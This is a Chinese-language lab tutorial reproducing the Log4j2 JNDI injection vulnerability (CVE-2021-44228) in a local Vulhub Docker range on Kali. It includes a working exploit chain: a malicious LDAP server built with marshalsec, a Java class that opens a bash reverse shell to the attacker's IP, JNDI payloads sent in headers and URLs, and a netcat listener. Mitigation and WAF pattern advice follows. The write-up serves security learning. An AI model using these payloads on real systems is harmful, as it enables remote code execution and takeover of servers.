Kali Linux下Log4j2漏洞靶场搭建与JNDI注入攻击复现实战
1. 项目概述与核心价值最近几年安全圈里提起“核弹级”漏洞Log4j2 的 CVE-2021-44228 绝对榜上有名。这个漏洞的波及范围之广、利用门槛之低、危害性之大让所有安全从业者和开发者都捏了一把汗。光看理论分析报告和漏洞公告总感觉隔靴搔痒理解不够深刻。最好的学习方法就是亲手把它“玩”一遍。今天我就带你从零开始在 Kali Linux 这个渗透测试的“瑞士军刀”上亲手搭建一个 Log4j2 漏洞靶场并完整复现攻击流程。这个项目不只是为了复现而复现。通过亲手搭建环境、构造攻击载荷、观察漏洞触发过程你能真正理解 JNDI 注入的原理明白为什么一段看似无害的日志记录会变成系统沦陷的入口。对于安全工程师这是夯实内功、理解漏洞机理的绝佳实践对于开发者这是警醒自己代码安全重要性的生动一课对于初学者这是一条从理论走向实战的清晰路径。整个过程我们会用到 Docker、Maven、Java 等工具但别担心我会一步步拆解确保即使你刚接触 Kali也能跟着走下来。2. 环境准备与核心工具解析工欲善其事必先利其器。在 Kali 上复现 Log4j2 漏洞我们需要一个可控的、包含漏洞的靶场环境以及发起攻击所需的工具链。直接在生产环境或者不熟悉的系统上搞风险太大也不道德。因此搭建一个本地隔离的靶场是唯一正确且安全的选择。2.1 为什么选择 Docker 化靶场手动从零编译一个存在漏洞的 Java 应用步骤繁琐依赖复杂容易在环境问题上卡壳。Docker 容器化技术完美解决了这个问题。它能把应用及其所有依赖特定版本的 Java、有漏洞的 Log4j2 库、Web 服务器等打包成一个独立的镜像。我们只需要一条命令就能拉取并运行这个镜像瞬间获得一个标准化的、可复现的漏洞环境。这极大地提升了实验效率也保证了每次复现结果的一致性。对于 Log4j2 漏洞社区已经有维护得非常成熟的靶场镜像比如 Vulhub 项目中的CVE-2021-44228环境。我们本次就基于它来搭建。使用 Docker 的另一个好处是隔离性靶场运行在容器内与你的宿主机 Kali 系统是隔离的即使攻击过程中出了什么意外也不会影响到你的主系统。2.2 Kali Linux 基础配置与 Docker 安装首先确保你的 Kali 系统是最新状态。打开终端执行更新sudo apt update sudo apt upgrade -y如果你的 Kali 是全新安装或者之前没有配置过 Docker需要先安装它。Kali 源里通常有 Docker 包但版本可能不是最新的。我习惯使用 Docker 官方提供的安装脚本更可靠。卸载旧版本如果有这是一个好习惯避免冲突。sudo apt remove docker docker-engine docker.io containerd runc -y安装依赖和添加 Docker 官方 GPG 密钥sudo apt install apt-transport-https ca-certificates curl gnupg lsb-release -y curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg这里注意Kali 是基于 Debian 的所以我们使用 Debian 的仓库地址。设置稳定版仓库echo deb [arch$(dpkg --print-architecture) signed-by/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian $(lsb_release -cs) stable | sudo tee /etc/apt/sources.list.d/docker.list /dev/null一个常见的坑是$(lsb_release -cs)这个命令会获取你的 Kali 版本代号如kali-rolling。但 Docker 官方仓库可能没有针对kali-rolling的明确支持。如果后续apt update报错可以尝试将其硬编码为 Debian 的稳定版代号比如bullseye。不过在新版 Kali 和 Docker 中通常直接支持。安装 Docker 引擎sudo apt update sudo apt install docker-ce docker-ce-cli containerd.io docker-compose-plugin -y验证安装并启动服务sudo systemctl start docker sudo systemctl enable docker sudo docker run hello-world如果看到 “Hello from Docker!” 的信息说明安装成功。可选但推荐将当前用户加入 docker 组避免每次使用docker命令都要加sudo。sudo usermod -aG docker $USER执行后你需要完全注销并重新登录或者新开一个终端这个设置才会生效。注意将用户加入 docker 组等同于赋予了该用户 root 权限因为 Docker 守护进程以 root 身份运行。在个人实验环境中可以这样操作以方便但在生产服务器或多人使用的系统上需格外谨慎。2.3 获取漏洞靶场环境我们使用 Vulhub 提供的环境。Vulhub 是一个开源的漏洞靶场集合收录了大量 CVE 的 Docker 化环境。有两种方式获取方式一直接拉取靶场镜像推荐最简单如果你只需要 Log4j2 这个靶场可以直接拉取编译好的镜像。但需要知道准确的镜像名。我们可以先克隆 Vulhub 仓库然后使用其 docker-compose 文件来启动这样最规范。方式二克隆整个 Vulhub 项目更灵活这样你可以随时尝试其他漏洞靶场。# 安装 git如果未安装 sudo apt install git -y # 克隆 Vulhub 仓库 git clone https://github.com/vulhub/vulhub.git cd vulhub进入仓库后找到 Log4j2 的目录cd log4j/CVE-2021-44228这个目录下就包含了搭建靶场所需的所有文件最关键的是一个docker-compose.yml文件。3. 靶场部署与漏洞环境搭建现在我们进入核心环节把靶场运行起来。3.1 使用 Docker Compose 一键启动靶场在vulhub/log4j/CVE-2021-44228目录下你会看到docker-compose.yml文件。用cat命令查看一下内容理解其结构cat docker-compose.yml内容通常类似这样version: 2 services: vulnerable-app: image: vulhub/log4j:2.14.1 ports: - 8080:8080它定义了一个名为vulnerable-app的服务使用vulhub/log4j:2.14.1这个镜像并将容器的 8080 端口映射到宿主机的 8080 端口。启动靶场sudo docker-compose up -d-d参数表示在后台运行。命令执行后Docker 会从网络拉取镜像如果本地没有然后创建并启动容器。看到Creating ... done和Starting ... done的提示后用以下命令检查容器是否正常运行sudo docker ps你应该能看到一个状态为Up的容器名字可能包含cve-2021-44228。3.2 验证靶场服务打开你的 Kali 浏览器访问http://127.0.0.1:8080。如果靶场启动成功你应该能看到一个简单的 Web 页面可能是一个登录框或者一个带有输入框的界面。这个应用的核心功能是它会将你输入的内容使用有漏洞的 Log4j2 库记录到日志中。为了确认漏洞存在我们可以先发一个简单的探测请求。打开终端使用curl命令curl http://127.0.0.1:8080 -H X-Api-Version: ${jndi:ldap://127.0.0.1:1389/a}这个请求在 HTTP 头X-Api-Version中携带了一个简单的 JNDI 注入载荷。如果应用有漏洞它会尝试解析这个${jndi:ldap://...}字符串。但现在还不会有明显反应因为我们还没有启动恶意的 LDAP 服务器。这个步骤只是确认服务可达。3.3 理解靶场应用架构这个靶场通常是一个简单的 Spring Boot 或普通 Java Web 应用。它包含一个控制器Controller接收用户输入可能通过参数、Header 或 Body然后调用Logger.info()或类似方法记录日志。关键点在于它使用的 Log4j2 版本在 2.0-beta9 到 2.14.1 之间并且默认配置下没有设置log4j2.formatMsgNoLookupstrue或LOG4J_FORMAT_MSG_NO_LOOKUPStrue环境变量。当日志内容包含${jndi:ldap://attacker.com/evil}这样的模式时Log4j2 的“查找”Lookup功能会被触发它认为这是一个需要动态解析的表达式于是会去尝试通过 JNDI 访问ldap://attacker.com/evil这个地址。攻击者控制的 LDAP 服务器可以返回一个指向远程 Java 类的引用导致靶场应用加载并执行这个恶意类从而实现远程代码执行RCE。4. 攻击工具准备与利用原理深潜要成功利用这个漏洞我们需要模拟攻击者搭建两个关键服务一个恶意的 LDAP 服务器和一个托管恶意 Java 类的 HTTP 服务器。4.1 JNDI 注入利用工具marshalsec在实战和研究中最常用的工具是marshalsec。它是一个用于生成 JNDI 链接的利用工具。我们需要在 Kali 上编译并运行它。首先确保安装了 Java 开发环境sudo apt install openjdk-11-jdk-headless maven -y安装后检查版本java -version mvn -v接下来下载并编译marshalsecgit clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译过程需要下载依赖可能需要几分钟。编译成功后在target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar文件版本号可能略有不同。这个 JAR 包的作用是启动一个恶意的 LDAP 服务器。当靶场应用向这个 LDAP 服务器发起查询时marshalsec会返回一个指向我们控制的 HTTP 服务器的引用告诉受害者应用“你要的类在那个 HTTP 地址上去那里下载吧”。4.2 构造恶意 Java 类受害者应用根据 LDAP 返回的引用去指定的 HTTP 地址下载并加载一个 Java 类。这个类就是我们的攻击载荷。我们需要编写一个简单的 Java 类在其静态代码块或构造函数中执行我们想要的命令比如反弹 Shell。创建一个文件例如Exploit.javapublic class Exploit { static { try { // 这里填写要执行的命令。例如反弹Shell到攻击机 192.168.1.100 的 4444 端口 String[] cmd {/bin/bash, -c, bash -i /dev/tcp/192.168.1.100/4444 01}; // 对于Windows可能是 cmd.exe /c calc.exe // String[] cmd {cmd.exe, /c, calc.exe}; java.lang.Runtime.getRuntime().exec(cmd); } catch (Exception e) { e.printStackTrace(); } } }重要提示这里的 IP192.168.1.100需要替换成你 Kali 主机的真实 IP 地址在虚拟机中可能是 NAT 网络的地址如192.168.xx.xx可以使用ip addr命令查看。端口4444可以自定义。编译这个类。因为靶场环境可能有特定的 Java 版本为了兼容性最好用较低版本的 JDK 编译或者指定-target参数。我们直接用 Kali 自带的 JDK 编译javac Exploit.java编译后会生成Exploit.class文件。这个文件需要放在一个 HTTP 服务器目录下让靶场能够访问到。4.3 启动 HTTP 服务器托管恶意类在 Kali 上快速启动一个 HTTP 服务器的方法很多。Python3 是最方便的# 在包含 Exploit.class 文件的目录下执行 python3 -m http.server 8888这条命令会在当前目录启动一个简单的 HTTP 服务器监听 8888 端口。确保这个端口没有被防火墙阻挡。现在我们的恶意类可以通过http://你的KaliIP:8888/Exploit.class这个地址被访问到。5. 漏洞复现攻击链全流程实操一切准备就绪现在让我们串联起整个攻击链。请按照顺序在不同的终端窗口中执行以下步骤。5.1 第一步启动恶意 LDAP 服务器在第一个终端中进入marshalsec编译目录运行以下命令java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://你的KaliIP:8888/#Exploit将你的KaliIP替换为实际 IP。8888是上一步 HTTP 服务器的端口。#Exploit指定了要加载的类名不含.class后缀。命令解释-cp指定类路径即我们编译好的 jar 包。marshalsec.jndi.LDAPRefServer启动 LDAP 引用服务器。http://.../#Exploit这是 LDAP 服务器收到查询后将要返回的引用地址。执行后你会看到类似Listening on 0.0.0.0:1389的输出表示 LDAP 服务器已在 1389 端口启动。5.2 第二步启动 HTTP 服务器托管恶意类在第二个终端中进入存放Exploit.class的目录执行python3 -m http.server 8888看到Serving HTTP on 0.0.0.0 port 8888 ...的输出即可。5.3 第三步启动 Netcat 监听器接收反弹 Shell在第三个终端中启动 Netcat 监听我们在Exploit.java中指定的端口4444nc -lvnp 4444-l监听模式-v详细输出-n不解析域名-p指定端口。终端会显示listening on [any] 4444 ...等待连接。5.4 第四步触发漏洞现在我们需要向靶场应用发送包含恶意 JNDI 注入的请求。回到浏览器或者使用curl命令。方法一通过 HTTP 头注入常见很多应用会将 HTTP 头记录到日志中。使用 curl 发送请求curl http://127.0.0.1:8080/some-endpoint -H User-Agent: ${jndi:ldap://你的KaliIP:1389/Exploit}或者使用其他可能的头部如X-Forwarded-For、Referer等具体取决于靶场应用记录哪些内容。你需要查看靶场源码或尝试常见头部。方法二通过请求参数注入如果靶场有接收参数的接口比如http://127.0.0.1:8080/hello?namexxx可以尝试curl http://127.0.0.1:8080/hello?name%24%7Bjndi%3Aldap%3A%2F%2F你的KaliIP%3A1389%2FExploit%7D这里对${jndi:ldap://...}进行了 URL 编码。关键点发送请求后立即观察第一个终端LDAP服务器和第二个终端HTTP服务器。LDAP 服务器终端应该会立刻出现一条访问日志显示来自靶场容器 IP 的连接请求查询路径为/Exploit。这证明靶场成功解析了 JNDI 字符串并向你的 LDAP 服务器发起了查询。HTTP 服务器终端紧接着应该会出现一条访问日志显示靶场容器 IP 访问了/Exploit.class文件。这证明 LDAP 服务器成功返回了引用靶场根据引用地址来下载恶意类了。如果这两步都看到了那么攻击链的前半部分已经成功。5.5 第五步获取 Shell 与验证最后观察第三个终端Netcat监听器。如果Exploit.class被成功加载并执行你将在几秒内在这个终端看到一个新的连接并得到一个命令行提示符。这个提示符就是靶场容器内部的 Shell成功后的 Netcat 终端可能显示connect to [192.168.1.100] from (UNKNOWN) [172.17.0.2] 12345 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root容器ID:/#现在你可以在容器内执行命令了例如whoami、id、ls -la等验证你确实获得了容器的执行权限。这完全证明了 Log4j2 漏洞导致了远程代码执行。6. 深度排查与常见问题解决实录在实际操作中你可能会遇到各种问题导致攻击不成功。下面是我在多次复现中踩过的坑和解决方案。6.1 问题一靶场容器无法访问攻击者Kali的服务这是最常见的问题。表现为 LDAP 服务器或 HTTP 服务器收不到来自靶场的连接请求。原因分析网络隔离Docker 容器默认运行在独立的网络桥接模式。如果 Kali 是宿主机容器访问宿主机的 IP 不是简单的127.0.0.1或localhost。在容器内localhost指向容器自己而不是宿主机。防火墙阻挡Kali 或宿主机的防火墙可能阻止了 1389LDAP或 8888HTTP端口的入站连接。IP 地址错误在构造 JNDI 载荷时使用了错误的 Kali IP。解决方案确定正确的 IP在 Kali 终端执行ip addr找到 Docker 网络接口通常是docker0的 IP或者物理网卡/虚拟网卡的 IP。对于运行在宿主机 Kali 上的容器访问宿主机服务通常需要使用宿主机的物理网络IP或 Docker 网桥网关 IP如172.17.0.1。使用宿主机特殊域名在 Docker 容器内有一个特殊的域名host.docker.internal可以解析到宿主机的内部 IP。但这个特性默认在 Linux 版的 Docker 中不直接支持主要支持 macOS 和 Windows。在 Linux 下更通用的方法是使用172.17.0.1Docker 默认网桥网关。修改攻击载荷将 JNDI 字符串中的 IP 改为172.17.0.1假设是默认网桥。例如${jndi:ldap://172.17.0.1:1389/Exploit}。检查防火墙在 Kali 上临时关闭防火墙测试sudo ufw disable如果使用 ufw。或者确保相关端口已开放。6.2 问题二LDAP 服务器收到请求但 HTTP 服务器没收到原因分析恶意类编译或存放问题Exploit.class文件不存在或者 HTTP 服务器的目录不对。类名不匹配LDAP 命令中#Exploit指定的类名与Exploit.class的文件名不一致大小写敏感。Java 版本兼容性问题靶场容器的 Java 版本如 Java 8无法加载由高版本 JDK如 Java 11编译的类。解决方案确认文件路径确保在启动 Python HTTP 服务器的目录下ls命令能看到Exploit.class。检查类名确保 LDAP 命令中的类名是Exploit且编译出的文件确实是Exploit.class。重新编译使用-target和-source参数指定低版本兼容性编译javac -source 8 -target 8 Exploit.java6.3 问题三收到连接但未执行命令 / Netcat 无反应原因分析命令构造问题Exploit.java中的命令语法错误或者靶场容器内没有/bin/bash某些精简镜像可能使用/bin/sh。反弹 Shell 命令被拦截某些环境下特殊的符号如可能在传输或执行时出现问题。网络出站限制靶场容器可能无法对外发起 TCP 连接到你的 Netcat 监听端口。解决方案简化命令测试先将命令改为最简单的如弹出一个计算器如果容器有 GUI或执行touch /tmp/success来测试命令是否执行。// Linux String[] cmd {/bin/sh, -c, touch /tmp/success}; // 或尝试直接执行命令 String[] cmd {/bin/sh, -c, ping -c 2 你的KaliIP};使用编码命令对于复杂的反弹 Shell可以尝试使用 Base64 编码。String cmd bash -i /dev/tcp/192.168.1.100/4444 01; String b64Cmd java.util.Base64.getEncoder().encodeToString(cmd.getBytes()); String[] finalCmd {/bin/sh, -c, echo b64Cmd | base64 -d | bash};检查容器网络进入靶场容器docker exec -it 容器ID /bin/bash手动尝试执行curl http://你的KaliIP:8888或nc -zv 你的KaliIP 4444看网络是否连通。6.4 问题四高版本 Java 的利用限制从 Java 8u191、11.0.1、12 等版本开始Oracle 引入了对 JNDI 远程类加载的限制com.sun.jndi.ldap.object.trustURLCodebase默认为false。这意味着即使存在 Log4j2 漏洞默认情况下也无法从远程 LDAP 服务器加载类。解决方案 我们的靶场环境vulhub/log4j:2.14.1通常使用的是较旧的、存在漏洞的 Java 8 版本早于 8u191所以可以成功。如果你在复现其他环境时失败需要检查 Java 版本。对于高版本 Java利用方式更为复杂可能需要结合本地类路径ClassPath中已有的、可利用的类进行二次利用这超出了基础复现的范围。7. 漏洞修复与防御措施探究成功复现漏洞后我们不仅要“知其然”更要“知其所以防”。了解如何修复和防御才是我们学习的最终目的。7.1 紧急缓解措施如果发现系统存在漏洞应立即采取以下一种或多种措施升级 Log4j2这是根本解决方案。将 Log4j2 升级到安全版本2.15.0 及以上对于 2.12.x 分支升级到 2.12.2 及以上对于 2.10.x 分支升级到 2.10.2 及以上。修改 JVM 参数对于无法立即升级的应用可以添加以下 JVM 启动参数-Dlog4j2.formatMsgNoLookupstrue这个参数会全局禁用 Lookup 功能。设置系统环境变量LOG4J_FORMAT_MSG_NO_LOOKUPStrue对于某些部署方式如容器设置环境变量可能比修改 JVM 参数更方便。移除有漏洞的类在极端情况下可以从 log4j-core 的 jar 包中删除JndiLookup类zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class7.2 长期防御策略依赖管理使用 Maven、Gradle 等工具的依赖检查插件如 OWASP Dependency-Check定期扫描项目中的已知漏洞。最小化日志内容避免记录不可信的、用户可控的输入。对于必须记录的用户输入进行严格的过滤和转义。网络层防护在防火墙或 WAFWeb 应用防火墙上设置规则拦截包含jndi:、ldap://、rmi://、dns://等模式的请求。运行时保护使用 RASP运行时应用自我保护技术监控应用的关键行为如异常的类加载、JNDI 调用等。深度防御即使修复了 Log4j2也要确保 Java 运行环境本身是最新的并遵循安全最佳实践如使用 Security Manager 限制代码权限。7.3 对开发者的启示这个漏洞给所有开发者上了一堂深刻的安全课永远不要信任任何外部输入。即使是像日志记录这样看似“无害”的操作如果处理不当也会成为致命的攻击点。在代码审查时需要特别关注那些将用户输入直接传递给解释器、渲染引擎、数据库查询或日志系统的地方。复现完成后别忘了清理实验环境。在 Vulhub 靶场目录下执行sudo docker-compose down这会停止并移除容器。你也可以使用docker system prune -a来清理所有未使用的镜像、容器和网络释放磁盘空间。整个流程走下来从环境搭建到最终拿到 Shell你对 Log4j2 漏洞的理解就不再停留在新闻标题上了。每一个步骤的细节每一次排错的过程都在加深你对漏洞原理、利用链和防御方法的认知。这种亲手实践获得的经验远比读十篇分析报告更有价值。安全之路始于足下更始于每一次真实的“攻防”体验。